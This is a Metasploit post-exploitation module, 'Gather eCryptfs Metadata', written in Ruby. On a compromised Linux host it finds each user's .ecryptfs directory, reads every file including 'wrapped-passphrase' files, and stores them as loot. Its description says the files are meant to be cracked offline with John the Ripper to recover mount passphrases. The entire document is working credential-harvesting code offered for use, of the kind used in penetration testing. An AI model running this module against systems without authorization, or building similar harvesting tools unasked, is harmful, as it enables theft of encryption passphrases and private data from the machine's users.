##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Unix

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gather eCryptfs Metadata',
        'Description' => %q{
          This module will collect the contents of all users' .ecrypts directories on
          the targeted machine. Collected "wrapped-passphrase" files can be
          cracked with John the Ripper (JtR) to recover "mount passphrases".
        },
        'License' => MSF_LICENSE,
        'Author' => ['Dhiru Kholia <dhiru[at]openwall.com>'],
        'Platform' => ['linux'],
        'SessionTypes' => ['shell']
      )
    )
  end

  # This module is largely based on ssh_creds, gpg_creds and firefox_creds.rb.

  def run
    print_status('Finding .ecryptfs directories')
    paths = enum_user_directories.map { |d| d + '/.ecryptfs' }
    # Array#select! is only in 1.9
    paths = paths.select { |d| directory?(d) }

    if paths.nil? || paths.empty?
      print_error('No users found with a .ecryptfs directory')
      return
    end

    download_loot(paths)
  end

  def download_loot(paths)
    print_status("Looting #{paths.count} directories")
    paths.each do |path|
      path.chomp!
      sep = '/'
      files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)

      files.each do |file|
        target = "#{path}#{sep}#{file}"
        if directory?(target)
          next
        end

        print_status("Downloading #{path}#{sep}#{file} -> #{file}")
        data = read_file(target)
        file = file.split(sep).last
        loot_path = store_loot("ecryptfs.#{file}", 'text/plain', session, data,
                               nil, "eCryptfs #{file} File")
        print_good("File stored in: #{loot_path}")
      end
    end
  end
end
